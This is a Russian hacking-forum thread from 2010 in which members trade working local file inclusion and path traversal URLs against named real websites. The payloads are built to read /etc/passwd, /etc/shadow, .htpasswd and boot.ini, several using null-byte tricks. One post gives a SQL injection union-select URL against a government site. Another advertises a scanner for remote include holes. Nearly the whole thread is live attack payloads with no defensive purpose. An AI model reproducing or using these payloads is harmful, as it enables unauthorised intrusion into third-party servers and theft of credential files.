PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.kino.lg.ua/index.php?page=../../../../etc/passwd

    http://home.divetrade.ru/magazin/index.php?page=/etc/passwd
     
    #1061 .:[melkiy]:., 10 Mar 2010
    Last edited: 11 Mar 2010
  2. Red_EYEs

    Red_EYEs Member

    Joined:
    7 Aug 2009
    Messages:
    32
    Likes Received:
    12
    Reputations:
    11
    http://tonextstep.com/index.php?page=/home/mkfzvto123/.cshrc
     
  3. rikko

    rikko Member

    Joined:
    23 Nov 2009
    Messages:
    16
    Likes Received:
    7
    Reputations:
    0
    вобщем, написал простой многопоточный сканер php инклюдов(только чек на глобальный инклюд), просто ради интереса чекнул 30к ссылей. сканер быстрый (на все ушло где-то 15 мин) вот результат:

    http://www.jgrossco.com/index.php?page= http://www.phyllischubb.com/index...вать - отпишитесь в личку. быстро реализую...
     
    6 people like this.
  4. Red_EYEs

    Red_EYEs Member

    Joined:
    7 Aug 2009
    Messages:
    32
    Likes Received:
    12
    Reputations:
    11
    http://www.niteclubs.de/index.php?open= http://www.pulplivemusik.de/index...http://www.ochsenfest.de/index.php?open=index
     
    #1064 Red_EYEs, 15 Mar 2010
    Last edited: 15 Mar 2010
  5. Red_EYEs

    Red_EYEs Member

    Joined:
    7 Aug 2009
    Messages:
    32
    Likes Received:
    12
    Reputations:
    11
    http://oslo.bikini-web.com/freetourNuevo.php?page=../../public_html/password/.htpasswd
     
    1 person likes this.
  6. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    http://demo.joomlart.com/extensions15/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00
    http://www.bashtest.ru/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00
     
    3 people like this.
  7. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.france-etuves.com/FR/index.php?p=../../../../etc/passwd
    http://www.paseed.gr/index2.php?load=../../../../../etc/passwd
     
    4 people like this.
  8. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    от меня:
    http://lpsc.in2p3.fr/atlas/morel/index.php?p=/etc/passwd
    http://www.weeblackskelf.co.uk/label/main.php?x=artists&y=/../../../../../etc/passwd
    http://www.mineralogicalassociation.ca/index.php?p=26&page=/../../../../../../../etc/passwd
    http://www.bankoo.es/index.php?action=/etc/passwd%00

    http://www.sport-surfaces.co.uk/index.php?page=C:\boot.ini%00
     
    4 people like this.
  9. SEWERN

    SEWERN Elder - Старейшина

    Joined:
    9 Jan 2009
    Messages:
    23
    Likes Received:
    35
    Reputations:
    26
    http://www.stack.bham.ac.uk/stack/documentation.php?action=/../../../../../../../etc/passwd%00
     
    1 person likes this.
  10. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    Local file inclusion:
    http://www.sb-abramowski.gpsur.de/index.php?langid=/../../../../../../../etc/passwd%00
    http://www.csritalia.com/template.php?pagina=prse*ccc*prod_sel&id_nuova_lingua=/../../../../../../etc/passwd%00
    http://www.quemundo.com/index.php?pagina=/../../../../../../../../../../../../etc/passwd
    http://www.mrautomacao.info/index.php?pagina=/../../../../../../../../etc/passwd
     
    #1070 daniel_1024, 24 Mar 2010
    Last edited: 24 Mar 2010
    1 person likes this.
  11. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://www.paxtoncat.com.au/index.php?page=../index

    http://www.ingfoundation.com.au/main.php?page=lfi

    http://www.yappmobile.com.au/index.php?page=../../LFI

    http://soulsearchers.spheresoflight.com.au/index.php?page=LFI

    http://www.limelight.org.au/index.php?page=archive&sub_page=../index.php
    http://kmsmith.com.au/index.php?page=LFI
     
    #1071 Ctacok, 25 Mar 2010
    Last edited: 25 Mar 2010
  12. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    http://www.ware-house.co.jp/index.php?page=../../../../../../../../../../../../../../etc/passwd%00
    http://www.multi.com.br/?pg=../../../../../../../../../../etc/passwd%00
    http://www.partnersinpreservation.com/boston/index.php?sec=../../../../../../../../../../../../../etc/passwd%00&locID=16
    http://www.sports-emotions.ch/index.php?cat=../../../../../../etc/passwd%00&lang=ge
     
    2 people like this.
  13. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://www.ombudsman.mos.ru/index.php?page=contaAct'+union+select+1,2,3,4,5,6,7,8,9,10,0x4c464900+from+information_schema.tables/*
     
  14. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    http://www.bkmlojistik.com.tr/eindex.php?Path=/etc/passwd
    http://evan.hotani.net/poll/index.php?link=/etc/passwd%00
    http://www.spangenkoenig.ch/index.php?link=/../../../../etc/passwd%00
    http://apu.com.ua/content.php?c=/../../../../../../../../../../etc/passwd&lang=ukr&news=links
    http://www.auto-gyro.com.ua/index.php?lang=/../../../../../../etc/passwd%00
    http://www.hotelesaustralis.com.ar/destinos.php?lang=/../../../../etc/passwd%00
    http://www.sciencesmath-paris.fr/temoignages.php?lang=/../../../../../../etc/passwd%00
    http://www.davinomixer.it/index.php?lang=/../../../../../etc/passwd%00
    http://www.wyr.com.ua/index.php?lang=/../../../../../../../etc/passwd%00
    http://zunn.it/index.php?lang=/etc/passwd%00
    http://www.watchme.in/serve/?goto=/etc/passwd&lang=english&show=15&pageno=2
    http://www.gayovich.com.ua/index2.php?link=/etc/passwd%00
    http://blog.hotani.net/articles/index.php?link=/etc/passwd%00
    http://www.tabu.band.pl/index.php?link=/etc/passwd
    http://ctconstructii.ro/site/old_04/index.php?lang=/etc/passwd%00
    http://juedisches-museum.ch/content.php?lang=/../../../../../etc/passwd%00
    http://www.bonnemaman.ch/index2.php?lang=/etc/passwd%00
    http://juedisches-museum.ch/content.php?lang=/../../../../../etc/passwd%00&t=2
    http://www.snowkiting.ch/index.php?lang=de&site=/etc/passwd%00
    http://juedisches-museum.ch/content.php?/../../../../../etc/passwd%00=2&t=4
    http://mkc-vertspapiri.lv/main.php?lang=/../../../../../etc/passwd%00&ld=txt&vol=8
    http://tom-grad.tomsk.ru/index.php?page=/etc/passwd
    http://www.ims.spb.ru/index.php?page=/../../../../etc/passwd
    http://department.fzu.cz/ofm/sma//index.php?file=/etc/passwd
     
    #1074 daniel_1024, 31 Mar 2010
    Last edited: 31 Mar 2010
    2 people like this.
  15. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    local include

    http://www.instm.it/test_new_version/index.php?targetpage=../../../../../../../etc/passwd

    server- Apache/2.2.8 (Ubuntu) :D
     
    _________________________
  16. s_p_a_m

    s_p_a_m Elder - Старейшина

    Joined:
    8 Feb 2008
    Messages:
    100
    Likes Received:
    58
    Reputations:
    4
    http://www.krog.dp.ukrtelecom.ua/information/services/customers/index.php?page=adsf
     
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.madhatt3r.com/files.php?action=open&&parameter1=../../../../../../../../../etc/passwd

    ;)
     
    _________________________
  18. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    AOL
    может новый способ замены нульбайта прокатит..
     
    2 people like this.
  19. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.nni.ie/v2/broad/portal.php?content=../../../../../../../etc/passwd

    http://www.unic.org.ar/index.php?content=../../../../../../../etc/passwd

    http://www.tpfnetwork.org/home.php?contenido=../../../../../../../etc/passwd
     
    _________________________
  20. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    shadow открыт на чтение:)
    Code:
    http://www.quemundo.com/index.php?pagina=../../../../../../../../../../../../../../../etc/shadow
    Code:
    http://jamesdeangallery.com/Store/shop.php?load=../../../../../../../etc/passwd
    Code:
    http://hege-online.com/shop/scripts/text.php3?id=fxbzcdjrnwrwqk&lan=&inc=../../../../../../../../etc/passwd
     
    6 people like this.